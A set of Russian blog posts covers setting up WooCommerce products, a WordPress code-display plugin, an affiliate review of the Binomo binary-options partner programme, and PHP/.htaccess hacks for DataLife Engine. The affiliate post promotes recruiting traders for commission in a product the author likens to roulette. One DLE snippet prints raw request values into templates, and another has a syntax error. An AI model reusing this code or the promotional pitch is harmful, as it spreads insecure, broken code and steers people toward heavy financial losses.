Обычный товар — это наиболее популярный и простой тип товара. Например, мобильные телефоны это обычный товар. Его можно заказать и доставить, ничего особенного. На закладках мы настраиваем все параметры товара. Плюс, обычный товар может быть загружаемым и (или) виртуальным. Вы можете продавать электронные книги или воздух.

Если серьёзно, при выборе виртуального продукта, у него удаляются поля веса и размера, его наличие не учитывается на складе. Так можно продавать доступ к закрытой части сайта, к примеру.

Группированный товар. Вы наверняка сталкивались в интернет-магазинах с предложениями типа «купи этот телефон, а вот и наушники к нему подходящие». Вот это как раз из этой серии. Группируем товары, добавляем похожие. Все для того, чтобы человек купил еще что-то, кроме основной покупки. У этого типа товара нет цены, как таковой. Ее вы будете добавлять на странице каждого «дочернего» товара.

Внешний товар. Это волшебный вид товара. Нет, серьёзно. В последнее время развелось очень много партнерских программ от крупных интернет-магазинов и этот вид товара открывает путь для «виртуальных» магазинов. Представьте ситуацию — вы создаете магазин, наполняете его товаром, который предоставляет партнер и по кнопке купить — отправляете посетителя на сайт партнера, где он и покупает товар. Вы получаете свою комиссию и только следите за работой своего сайта. Все остальное за вас делает партнер.

Вариативный товар. Самый сложный вид товара, который подразумевает наличие нескольких видов одного товара. К примеру, товары с размерами или различными цветами.

Источник: http://gering111.com/woocommerce.

Создание простого товара.

(К оглавлению ⇑)
И так, приступим к заполнению данных товара.

Основные настройки Простого товара:

Основные настройки «Простого товара».

1. Вид товара. Здесь в выпадающем списке выбираем «Простой товар».

2. Первая вкладка «Основные настройки».

3. Артикул — У нас это поле обозначено как «SKU», его можно оставить пустым. Артикул будет генерироваться автоматически на основе ID товара, при помощи плагина WooCommerce Product SKU Generator.

Артикул — тип или род изделия, товара, а также его цифровое или буквенное обозначение для кодирования, параграф, раздел параграфа, статья, глава. В настоящее время больше употребляется как обозначение марки, разновидности товара или его кода, используемого для организации учёта товаров (ru.wikipedia.org).

4. Цена товара — если мы не планируем устраивать распродажу товаров, то заполняем только графу «Базовая цена», иначе устанавливаем и цену на распродаже.

Запасы и доставка:

Управление запасами.

1. Переходим во вкладку «Запасы».

2. Если вы планируете постоянно пополнять количество товаров на складе, то снимите галочку и в графе «Статус остатка» укажите «В наличии».

3. Если количество товара ограничено — укажите остаток на складе.

4. Если разрешить резервирование, то количества товара в запасе может быть ниже нуля.

В этом поле указываем габариты и вес товара.

Доставка. Здесь указываем габариты и вес товара.

Сопутствующие товары:

Сопутствующие товары.

1. Открываем вкладку «Сопутствующие товары».

2. Апселлы — Лучшие товары которые вы бы рекомендовали в замен данному. К примеру, товары, которые лучше по качеству или каким-то другим характеристикам, допустим более высокой ценой (апселлы выводится ниже полного описания в карточке товара).

3. Кросселы — Кросс-продажи — это товары, которые вы продвигаете в корзине, основываясь на текущем товаре (выводится в корзине с текущим товаром).

4. Групировка — Установите эту настройку, чтобы сделать данный товар частью комплекта.

Если нет надобности, можете оставить данные поля пустыми — по умолчанию в нашем шаблоне выводятся похожие товары из той же категории что и текущий товар (так же как и апселлы — ниже полного описания в карточке товара).

Так будут отображаться сопутствующие товары на страничке товара.

Задаём миниатюру товара, галерею, указываем метки и категорию, в которую будет добавлен товар. Публикуем.

В принципе, основные пункты по созданию Простого товара я описал, можно переходить к Вариативному товару.

Создание вариативного товара.

(К оглавлению ⇑)
Данный вид товара более сложный, но и более гибкий в настройке.

Создание нового атрибута для вариаций.

Для создания вариативного вида товара нужно сначала создать для него атрибуты. Для этого переходим меню Товары>>Атрибуты.

Переходим в меню Товары>>Атрибуты.

Добавляем новый атрибут:

Добавляем новый атрибут. Здесь всё просто: вбиваем название и сохраняем.

Теперь нужно задать ему нужные свойства.

Изображение №11. Для настройки жмем на иконку в виде шестерёнки.

Задаем значения атрибуту.

Вбиваем значение которое можно задать атрибуту. В нашем случае атрибуту «Размер обуви» первое значение мы зададим «10».Сохраняем.

Таким «макаром», создаем размеры от 10 до, скажем 30.

Теперь у нас есть 20 вариаций размеров обуви.

Или другой пример. Есть у нас товар «Чехол коляска-сани», товар выполнен в трёх цветах — коричневый, синий, чёрный. Создаём атрибут цвет и задаём этому атрибуту соответствующие вариации: коричневый, синий, чёрный или любой другой цвет.

Задаём значения атрибуту «Цвет

»

Настройка вариативного товара.

Теперь возвращаемся непосредственно к редактированию товара (в данном случае товар «Чехол коляска-санки»).

Переходим меню «Товары» и переходим к редактированию или добавлению нового товара.

1. Указываем что наш товар является «Вариативным».

2. Переходим во вкладку «Атрибуты».

3. Выбираем из списка интересующий нас атрибут.

Задаём значения атрибуту.

1. ОБЯЗАТЕЛЬНО ставим галочку «Использовать для вариаций».

2. Указываем значения атрибутов товара (синий, коричневый, чёрный, серобуромалиновый).

3. Сохраняем.

Создаём вариации товара.

1. Переходим во вкладку «Вариации».

2. Из выпадающего списка выбираем «Создать вариации из всех атрибутов».

3. Сохраняем.

Указываем какую вариацию товара отображать на сайте по умолчанию.

 

Задаём значения для каждой вариации.

1. Разворачиваем список вариаций.

2. Задаём миниатюру для вариации (если нужно).

3. Обязательно указываем цену для каждой вариации.

4. Также можно указать вес и габариты для каждой вариации.

5. Сохраняем изменения.

Всё — товар готов к публикации.

На выходе мы получаем такую карточку товара

Атрибуты вариаций можно комбинировать, например: цвет и размер. И для каждой вариации можно назначить свою цену. Например, вещь большего размера продавать дороже.

На первый взгляд всё кажется запутанным и сложным, но на самом деле это совсем не так.

Подписывайтесь на обновления блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!

 

Не правильное отображения кода в редакторе WordPress.

Доброго времени суток уважаемые читатели блога Мои тараканы!

Амперсанд

Для отображения знаков которых нет на клавиатуре используется специальные знаки, начинающиеся с амперсанда (&).

Небольшая заметка. Пока писал предыдущий пост намучился с отображением кода на странице. Дело в том что при переключении между вкладками «Визуально» и «Текст» в редакторе, Вордпресс постоянно обрезал знаки <> (угловые скобки) в коде, заменяя его амперсандами &lt; и &gt;. Замечались проблемы и с другим кодом (помню как долго возился со статьями о HTML). Дело в том, что WordPress пытается интерпритировать код, вместо того, чтобы вывести его на страничке как есть.

Решение — плагин Visual Code Editor. Плагин сохраняет исходное форматирование программного кода при переключением между вкладками редактора. Плагин не требует никаких настроек — подключите и не испытывайте никаких проблем с вставкой кода в редакторе WordPress!

Напоследок  немного развлекалова — задачка на логику.

Какой номер парковочного места указан под машиной?

Загадка

87.

На этом всё. Подписывайтесь на обновления блога в Twitter , RSSили по почте!

С уважением, Мышак Пётр!

Брокер бинарных опционов Binomo — обзор партнерской прграммы

Доброго времени суток, уважаемые читатели блога «Мои тараканы»!

Тема данного поста не характерна для моего блога. Сказать честно, я сам никогда не верил, что можно как-то зарабатывать на такой вещи,  как бинарные опционы. Точнее будет сказано, я даже никогда не вникал в то, как устроена торговля какими-то там опционами. Мне было неинтересно.

Хочу успокоить читателей: я не буду рассказывать, что решил попробовать, и за несколько минут заработал кучу денег или постыдно прогорел. Моё отношение (интерес) к такому виду заработка не изменился. Но, как веб-мастер, считаю, что на бинарных опционах все-таки можно заработать. Для этого достаточно стать партнером трейдера.

Сегодня я хочу рассказать об одном брокере бинарных опционов и его партнерской программе.

Возможно, для многих смысл предыдущего предложения будет ясен, как белый день, но, уверен, есть среди читателей  люди,  для которых слова «брокер», «бинарные опционы» и «партнерская программа» — темна вода во облацех, книга за семью печатями и тарабарская грамота. Чтобы не было вопросов, сделаю небольшое отступление.

Кто такой брокер?

Брокер (от англ. broker — посредник) — юридическое или физическое лицо, которое является посредником между продавцом и покупателем при проведении операций с ценными бумагами. За свои услуги брокер получает вознаграждение в виде комиссионных.

Кто такой трейдер?

Трейдер (от англ. trader — торговец) — по сути, это спекулянт, пытающийся извлечь выгоду из процесса торговли. Под торговлей, чаще всего, подразумевается торговля на рынке ценных бумаг.

Что такое бинарные опционы?

Постараюсь внятно объяснить своими словами. Торговля на рынке бинарных опционов отличается от торговли на рынке ценных бумаг. Здесь не ведётся торговля  активами, здесь делаются прогнозы на рост (или падение) цены на тот или иной актив (валюту, газ, нефть, акции). Я бы даже сравнил это с игрой в рулетку (это моё личное мнение, вы вправе не согласиться).

Привожу пример. Вы трейдер. Вы заходите на сайт брокера и покупаете опцион, например, на рост (можно на понижение) курса доллара.  Устанавливаете период времени, через который должен сбыться ваш прогноз, например, 2 часа (можно установить время от 1 минуты). Ждёте. И если через 2 часа доллар подорожает хоть на одну копейку — вы получаете стоимость исполнившегося опциона (это фиксированная сумма, и она вам известна заранее). В противном случае вы теряете всё. Всё или ничего — именно поэтому опцион называется бинарным (двоичным).

Как-то так. Объяснение поверхностное, немного грубоватое, но чтобы понять суть, достаточное. Тем более что мы не собираемся играть на бирже — у нас другие интересы :).

Партнерская программа Binpartner.

В чём заключается суть любой партнерской программы? Вы привлекаете клиентов на сайт вашего партнера (брокера, интернет магазина, сервиса и т.д.), взамен получаете процент от продаж (потраченных денег привлечённых вами клиентов).

Что почем?

Начнем с меркальтильной  стороны вопроса. Binpartner — платит 7% от сумы потраченной трейдерами, которых вы привели на сайт Binomo. И не важно, выиграл ваш трейдер на покупке опциона или проиграл — вы всегда в плюсе. До 31-го декабря действует акция — 10% от стоимости опциона.

Кроме того, у Binpartner есть реферальная система —  5% от прибыли привлеченных вебмастеров. То есть, если вы зарегистрируйтесь по моей ссылке как веб-мастер (ссылка в предыдущем абзаце) и будете зарабатывать на привлечении  клиентов к брокеру, мне Binomo будет платить 5% от заработанной вами суммы. Не бойтесь, эти проценты не будут сниматься с вас  — партнер заплатит из своего кармана.

Выплаты производятся два раза в месяц —  5-го и 20-го числа. Судя по новостной ленте сайта, задержек с выплатой нет. Но вот порог выплат меня немного расстроил — 20$. Лично мне такой порог кажется высоким.

Заработанные деньги можно вывести через Webmoney, Яндекс.Деньги, Epayments, Банковский перевод, Skrill.

 Привлечение клиентов.

Привлечение клиентов.

Как привлекать клиентов? Привлечение клиентов в любую партнерку — это отдельная тема. Вкратце скажу, что клиентов можно привлекать, используя свой вебсайт, через социальные сети, контекстную рекламу, email-маркетинг.

Для привлечения потенциальных трейдеров на сайте представлен огромный выбор промо материалов — 20 лендингов (посадочных (продающих) страниц) и больше 70 баннеров. Пример , и ещё один. Даже есть страницы для конвертации адалт трафика.

Лэндинги красивые, современные, но есть одно НО. Если человек, не знакомый с понятием «бинарные опционы»,  попадет на такой лэндингпейдж, то он  не сразу сможет понять (или совсем не сможет),  что ему предлагают. Не на всех страничках есть доступ к меню разделов сайта, где он мог бы узнать даже самое простое — что такое бинарные опционы. Я представляю реакцию посетителя, который попадает на рекламную страничку, на которой предлагают срубить бабла по-легкому без всяких объяснений.

Конечно, попав внутрь, мы всё найдем. И базу знаний, и видео уроки, и запись на обучающие вебинары, и новости платформы, и инструкции по работе с системой, и многое другое. Но, опять же повторюсь, доступ к этим материалам есть не со всех лендингов.

Юзабилити.

Юзабилити сайтаПо поводу юзабилити сайта партнерки замечаний нет. Всё просто и лаконично, и, в то же время, довольно функционально и логично. Тем более, партнеры обещают учитывать пожелание вебмастеров по поводу удобства сайта.

Заметил один косячок, связанный с древовидным меню на страничке с промо материалами: посоветовал бы веб-мастерам Бинпартнера  сделать так, чтобы содержимое каждого пункта не нужно было скролить (поймете, о чем я говорю, если заглянете в админку сайта). А так, в принципе, 5 баллов.

Служба поддержки.

В разделе «Контакты» имеются данные 3-х менеджеров (скайп и почта). Но на свой вопрос в службу поддержки я так ответа и не получил. Это минус. Могу списать на то, что писал по скайпу в нерабочее время. Но ответа я не получил ни на следующий день, ни через день.

Ещё один минус — отсутствие формы обратной связи. Было бы удобней воспользоваться формой обратной связи, чем запускать скайп или почту и забивать туда новые контакты. Лично у меня в скайпе контактов по которым связывался всего 1-2 раза около 40-ка штук, и забивать туда ещё один такой контакт не есть айс.

Вывод.

Binomo — молодой, но довольно динамично развивающийся брокер бинарных опционов. Забейте в поиске запрос «бинарные опционы» и вы увидите, что почти в каждой статье из топа упоминается имя этого брокера. Вывод такой:  если бы у меня был сайт близкой тематики, я наверняка бы стал работать с их партнеркой. А поскольку у меня его нет, обойдусь этим обзором, который я написал специально для конкурса (решил понастольгировать). Конкурс, кстати, организовали тоже они — вот такие замечательные ребята.

P.S. Пока писал этот пост, нашел статью,  в которой опровергалось утверждение, что покупка бинарных опционов похожа на игру в рулетку. Приводился такой пример. Человек инвестирует в акции развивающейся компании с расчетом,  что они в будущем, скажем, через год, вырастут в цене. И сразу же заключает сделку на покупку опциона на падение цены на эти акции. Если акции вырастут — он получит прибыль, нет — он получит стоимость исполнившегося опциона. То есть, покупка бинарного опциона является своего рода страховкой. Опять же, я привёл немного утрированный пример, но суть такова.

В этом примере рассказывается, как работают с бинарными опционами «крупные рыбы», но для начинающих трейдеров, мне кажется, данный вид финансовых операций  всё таки  остаётся чем-то сродни азартной игре.

В каком-то обзоре читал, что конкуренты Binomo зачисляют пользователям, зарегистрировавшимся у них, на счет некоторое количество средств, чтобы они могли без вложений попробовать себя  в роли трейдера. Своего рода замануха.  Не знаю, плохо или нет, что Биномо такого бонуса не предлагает.  Но предупреждение (его наличие) в футере сайта меня порадовало:

Финансовые операции, предлагаемые данным сайтом, могут обладать повышенным уровнем риска. Приобретая предлагаемые данным сайтом финансовые услуги и инструменты, вы можете понести серьезные финансовые потери или полностью утратить средства, находящиеся на вашем гарантийно- торговом счету. Пожалуйста, оцените все финансовые риски и посоветуйтесь с независимым финансовым консультантом перед началом торговли. Компания Binomo не несет ответственности за любые прямые, косвенные и случайные убытки или любой другой ущерб, связанный с действиями пользователя на данном сайте.

Делаем ставки, господа! Подписывайтесь на обновления блога в Twitter , RSSили по почте!

С уважением, Мышак Пётр!

Как изменить xfsearch в DLE DataLife Engine.

Доброго времени суток дорогие читатели блога Мои тараканы!

xfsearch в DataLife Engine

xfsearch в DataLife Engine

Сегодня, впервые, в моем блоге пойдет речь о системе управления сайтом DataLife Engine (DLE). Точнее не о самом DLE а конкретно о выводе дополнительных полей и различных способа изменения xfsearch в URL на что то более подходящее. Для тех, кто не знаком с этим движком, написанное ниже будет совершенно непонятным, но для тех, кто в теме, данный пост, думаю, будет даже очень полезен. Хотя, возможно, и тот, кто привык работать с WordPress найдет для себя что ни будь интересное.

Пост получился довольно громоздкий, поэтому я сделал оглавление для навигации.

1. Что такое дополнительное поле.
2. Что такое перекрёстные ссылки в доп. полях.
3. Меняем xfsearch в URL страниц перекрёстных ссылок в доп. полях на название доп поля. + страницы пагинации.
4. Меняем метатег TITLE на страницах тегов и дополнительных полей
5. Как разместить текст описания на страницах доп. полей в DLE
6. Модуль для SEO оптимизации доп. полей в DLE (похожий на TagFace)

Давно я не писал таких объемных статей, в принципе, я вообще давно не писал, а тут ТАКОЕ. Последний раз что-то подобное было это пост о восстановлении Хрома а до этого советы по восстановлению данных после переустановки Винды. Надеюсь мой мануальчик вам пригодится.

Что такое дополнительное поле в DataLife Engine

И так, для начала давайте разберемся, что собой представляют дополнительные поля в DLE. Дополнительными полями можно назвать расширение для более удобного добавления материалов на сайт. Если заглянуть на страничку добавления новости, мы обнаружим, что там уже существует несколько полей. Это заголовок, дата, категория, краткая новость, полная новость и т.д.

Возможности данного движка предусматривают добавление собственных полей. Возьмём, к примеру, какой ни будь киносайт (DLE больше всего подходит для создания киносайтов сайтов). Как я уже говорил, у нас уже есть краткое описание (выводится в ленте новостей) и полное описание на полной странице материала. Но кроме описания мы хотим указать режиссера фильма, актёрский состав, год выпуска и сделать это так чтобы эти строки визуально отличались от всего описания. Для этого и существуют дополнительные поля. Мы создаем дополнительное поле, вставляем его в шаблон, форматируем нужным нам образом (применяем стили) а в админке только подставляем свои значения для каждого материала. Таким образом, мы избавляем себя от ввода и форматирования однотипной информации.

Перекрёстные ссылки в доп. полях

(К оглавлению ⇑)
Перекрёстные ссылки в доп полях это почти то же самое что, всем известные, теги, только генерируется полуавтоматически. Как это работает? Если в настройках поля указать значения доп. полей будут выводится в виде ссылок на показ других публикаций, которые имеют такие же значения. Например, если в поле режиссер (берём к примеру всё тот же кино-сайт) вы укажите Леонид Гайдай, то на сайте эта информация отобразится в виде ссылки на ленту новостей которые имеют такое же значение, то есть на фильмы где вы в поле «режиссер» указали слово «Гайдай».

Меняем xfsearch в URL страниц перекрёстных ссылок в доп. полях на название доп поля. + страницы пагинации

(К оглавлению ⇑)
Голову сломал пока определился как правильно сформулировать заголовок :). Но все не так пугающе, как можно подумать прочитав подзаголовок. Суть в следующем: Например, на нашем киносайте есть доп поле «год выхода» или «режиссер фильма» (или оба этих поля одновременно) и вы для него используете перекрёстные ссылки, то URL страницы на которой выводятся записи по доп. полю имеют следующий вид:

www.site.ru/xfsearch/2015 или www.site.ru/xfsearch/Леонид+Гайдай

Вот это самое xfsearch портит внешний вид URL, к тому же и для года выхода и режиссера фильма будет один путь в URL. Получается как какая-то непонятная категория — xfsearch. Согласитесь это не совсем правильно.

Выход — заменить xfsearch на название доп поля. Например, если для вывода года выпуска фильма доп поле у вас имеет название year а для режиссера снявшего этот фильм rejiser, то заменив xfsearch на названия этих полей вид URL будет следующий:

www.site.ru/year/2015 и www.site.ru/rejiser/Леонид+Гайдай
Как это реализовать? Если погуглить (странное слово, я например гуглю в Яндексе :)) найдется масса сайтов (практически все из ТОП 10 выдачи), которые, ссылаясь друг на друга, описывают один и тот же хак. Хак рабочий, но есть одно НО. Если у вас, поэтому доп. полю есть много статей (например, фильмов 2015 года) то, скорее всего у вас появятся страницы пагинации. И на страницах пагинации название доп поля в URL сменится на стандартное xfsearch.

www.site.ru/xfsearch/2014/page/2/

Погуглив немного глубже (немного это слабо сказано) я нашел хак, который будет нормально работать и на страницах пагинации. Вот сам хак:

Открываем файл engine.php и находим следующий код:

$url_page = $config['http_home_url'] . "xfsearch/" . urlencode ( str_replace("'", "'", $xf) );

Заменяем на:

$url_page = $config['http_home_url'] . urlencode($_GET['xn']) . "/" . urlencode ( str_replace("'", "'", $xf) );

В файле .htaccess ищем

RewriteRule ^xfsearch/([^/]*)(/?)+$ index.php?do=xfsearch&amp;xf=$1 [L]
RewriteRule ^xfsearch/([^/]*)/page/([0-9]+)(/?)+$ index.php?do=xfsearch&amp;xf=$1&amp;cstart=$2 [L]

Ниже вставляем:

RewriteRule ^(название доп поля1, нап. year)/([^/]*)(/?)+$ index.php?do=xfsearch&amp;xn=$1&amp;xf=$2 [L]
RewriteRule ^(название доп поля1, нап. year)/([^/]*)/page/([0-9]+)(/?)+$ index.php?do=xfsearch&amp;xn=$1&amp;xf=$2&amp;cstart=$3 [L]
RewriteRule ^(название доп поля2, нап. rejiser)/([^/]*)(/?)+$ index.php?do=xfsearch&amp;xn=$1&amp;xf=$2 [L]
RewriteRule ^(название доп поля2, нап. rejiser)/([^/]*)/page/([0-9]+)(/?)+$ index.php?do=xfsearch&amp;xn=$1&amp;xf=$2&amp;cstart=$3 [L]

Ссылка на источник хака.

Хорошо продумайте название для доп.поля, чтобы оно нормально смотрелось в URL. Будьте внимательны! Если вы начали наполнять сайт и в процессе работы решили поменять название доп. поля все данные которые были введены ранее будут утрачены!

Меняем метатег TITLE на страницах тегов и дополнительных полей

(К оглавлению ⇑)
Скажу сразу данный хак подойдет не всем. Его удобно использовать если у вас на сейте только одно дополнительное поле (например, всё тот же, режиссер) а для тегов к фильму вы используете один параметр (например, если у вас все-таки киносайт, вы используете год выхода на экран) — этот вариант подойдет замечательно.

Для того чтобы поменять Title на страницах тегов нужно открыть файл engine/engine.php, найти строки:

elseif ($do == 'tags') $nam_e = stripslashes($tag);
elseif ($do == 'xfsearch') $nam_e = $xf;

И заменить их на свой вариант, примерно так:

elseif ($do == 'tags') $nam_e = "Фильмы ".$xf" года";
elseif ($do == 'xfsearch') $nam_e = "Режиссер фильма ".$tag.;

Я, например, использовал его только для страниц тегов.

elseif ($do == 'tags') $nam_e = 'Список фильмов с тегом "'.$tag.'"';

Теперь у меня на сайте тайтл страницы тега, например, «приключения» выглядит так:

Список фильмов с тегом "приключения">> Site.RU - смотрите онлайн лучшие фильмы в интернете!
вместо
приключения>> Site.RU - смотрите онлайн лучшие фильмы в интернете!

Как разместить текст описания на страницах доп. полей в DLE

(К оглавлению ⇑)
Скажем на странице, где выводятся новости по xfsearch Леонид Гайдай (мы уже знаем, как заменить xfsearch на rejiser),мы решили вывести небольшой текст, повествующий о жизни и творчестве этого великого кино художника.

Открываем файл «templates.class.php » находится он по адресу «/engine/classes»

Находим в нем:

$this->copy_template = $this->template;
$this->template_parse_time += $this->get_real_time() - $time_before;

ВЫШЕ этого вставляем:

if( strpos( $this->template, "{request=" ) !== false or strpos( $this->template, "[request=" ) !== false ) {
        preg_match_all("#[\{\[]request=['"](.+?)['"]#is",$this->template,$matchs,PREG_PATTERN_ORDER);
        $matchs = ((isset($matchs[1]) and is_array($matchs[1]))?$matchs[1]:array());
        $matchs = array_unique($matchs);
        foreach($matchs as $match){
            $vmatch = explode('=',$match);
            $amatch = explode('->',$vmatch[0]);
            $value = $_REQUEST;
            foreach($amatch as $imatch)
                $value = (($value and isset($value[$imatch]))?$value[$imatch]:false);
            if((isset($vmatch[1]) and (is_array($value) and in_array($vmatch[1],$value) or $vmatch[1]==$value)) or (!isset($vmatch[1]) and $value)){
                $this->template = preg_replace ( "#\{request=['"]{$vmatch[0]}['"]\}#is", (is_array($value)?'array':$value), $this->template );
                $this->template = preg_replace ( "#\[request=['"]{$vmatch[0]}['"]\](.+?)\[/request\]#is", '\1', $this->template );
                $this->template = preg_replace ( "#\[request=['"]{$vmatch[0]}={$vmatch[1]}['"]\](.+?)\[/request\]#is", '\1', $this->template );
            } else {
                $this->template = preg_replace ( "#\{request=['"]{$vmatch[0]}['"]\}#is", '', $this->template );
                $this->template = preg_replace ( "#\[request=['"]{$vmatch[0]}['"]\](.+?)\[/request\]#is", '', $this->template );
                $this->template = preg_replace ( "#\[request=['"]{$vmatch[0]}={$vmatch[1]}['"]\](.+?)\[/request\]#is", '', $this->template );
            }
        }
    }
    if( strpos( $this->template, "{request}" ) !== false) {
        var_dump($_REQUEST);
        $this->template = str_replace('{request}', '', $this->template );
    }

Теперь открываем файл шаблона main.tpl

В месте где у вас должен быть текст, нужно вставить:

[aviable=xfsearch]
[request="xf=Леонид+Гайдай"]
Тут текст о великом Леониде Гайдае
 [/request]
[/aviable]

Если вы хотите что бы текст был только на первой странице и не отображался на страницах пагинации, то вам нужно вставить такой код:

[aviable=xfsearch]
 [page-count=1][request="Леонид+Гайдай"]
Тут текст о великом Леониде Гайдае
 [/request][/page-count]
[/aviable]

Учтите! Наверняка код [aviable=xfsearch] [/aviable] в вашем шаблоне уже существует. Вам только остается его найти и вставить внутрь оставшуюся часть кода.

Модуль для SEO оптимизации доп. полей в DLE

(К оглавлению ⇑)
И наконец, модуль, который выполняет все, что описано в предыдущих двух пунктах и не только. Модуль очень похож на модуль TagFace от Алаича. Можно сказать больше, он не просто похож — он выполняет все те действия с доп. полями, что и TagFace с тегами. Но вряд ли вы найдете такой модуль в интернете. Я сам долго копал пока нашел его. И я даже заплатил за него деньги (небольшие, но всё же). Я предлагаю получить данный модуль почти бесплатно.

https://yadi.sk/d/N7M4cLwvhEi7h

Вы можете следить за обновлениями блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!